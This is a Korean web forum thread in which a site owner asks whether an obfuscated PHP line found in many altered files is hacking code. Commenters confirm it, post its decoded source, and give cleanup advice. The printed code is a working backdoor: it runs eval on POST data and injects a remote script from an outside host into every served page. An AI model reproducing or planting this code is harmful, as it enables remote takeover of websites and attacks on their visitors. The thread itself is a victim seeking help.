이게 해킹코드인가요?

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnb3pyM28nKSl7ZnVuY3Rpb24gb3pyM28oJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aFxzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMkZyWVdSbGJXbGhMWEJ5ZW1Wa2MzcHJiMnhoYTJFdVpYVXZhVzFoWjJWekwyOXVZWE11Y0dod0lENDhMM05qY21sd2REND0nKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzLDEpO2Vsc2VpZihzdHJwb3MoJHMsJzxhJykpJHM9JGEuJHM7cmV0dXJuJHM7fWZ1bmN0aW9uIG96cjNvMigkYSwkYiwkYywkZCl7Z2xvYmFsJG96cjNvMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkb3pyM28xKSljYWxsX3VzZXJfZnVuYygkb3pyM28xLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdvenIzbycpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ296cjNvJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JG96cjNvbD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignb3pyM28yJykpIT0nb3pyM28yJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>

이게 해킹코드인가요?
제테스트홈이 접속이 안되길래 파일점검중 위코드를 발견했는데요...
변조된파일이 하나두개가 아니내요...
|

댓글 6개

네 맞습니다. 확인 결과 다운로드 URL이 유효하지는 않습니다.
다운로드url이라 하심은 무슨말씀이신지???
초짜라서요...처음이고....테스트홈에 웬일인지 원.....
뿐만 아니라 이미지 디렉토리에 백도어용 php 파일들도 있습니다.
디코딩결과값입니다.

if(!function_exists('ozr3o')){function ozr3o($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0]as$v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0]as$v)if(preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2FrYWRlbWlhLXByemVkc3prb2xha2EuZXUvaW1hZ2VzL29uYXMucGhwID48L3NjcmlwdD4='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s,1);elseif(strpos($s,'<a'))$s=$a.$s;return$s;}function ozr3o2($a,$b,$c,$d){global$ozr3o1;$s=array();if(function_exists($ozr3o1))call_user_func($ozr3o1,$a,$b,$c,$d);foreach(@ob_get_status(1)as$v)if(($a=$v['name'])=='ozr3o')return;elseif($a=='ob_gzhandler')break;else$s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('ozr3o');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$ozr3ol=(($a=@set_error_handler('ozr3o2'))!='ozr3o2')?$a:0;eval(base64_decode($_POST['e']));
======================================================================

PHNjcmlwdCBzcmM9aHR0cDovL2FrYWRlbWlhLXByemVkc3prb2xha2EuZXUvaW1hZ2VzL29uYXMucGhwID48L3NjcmlwdD4=
<script src=http://akademia-przedszkolaka.eu/images/onas.php ></script>
저도 비슷한게 걸렸었는데요 ,,,,
주로 index.php index.html config.php 이런파일들에도 죄다 있을겁니다 ....
결국은 악성코드 검사하고(네이버 피시그린으로,,,잡음..) 컴 포맷하고 ,,,호스팅에 연락해서 초기화 했습니다 ..결국 자료 다 날려버렸어요 ,,,ㅠㅠㅠ
이거 코드 지운다고 다 지워도 그담에 또 파일열어보면 또 나오더군요 ,,진짜 악질인듯...
관리하고 있던 사이트에 들어온적이 있어요.. 몇일동안 계속 삭제삭제.. 모든 파일 날짜별로 보고 수정해주셔야 되요.... 그리고, FTP 사용하는 PC 바이러스 검사도 필...

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기
🐛 버그신고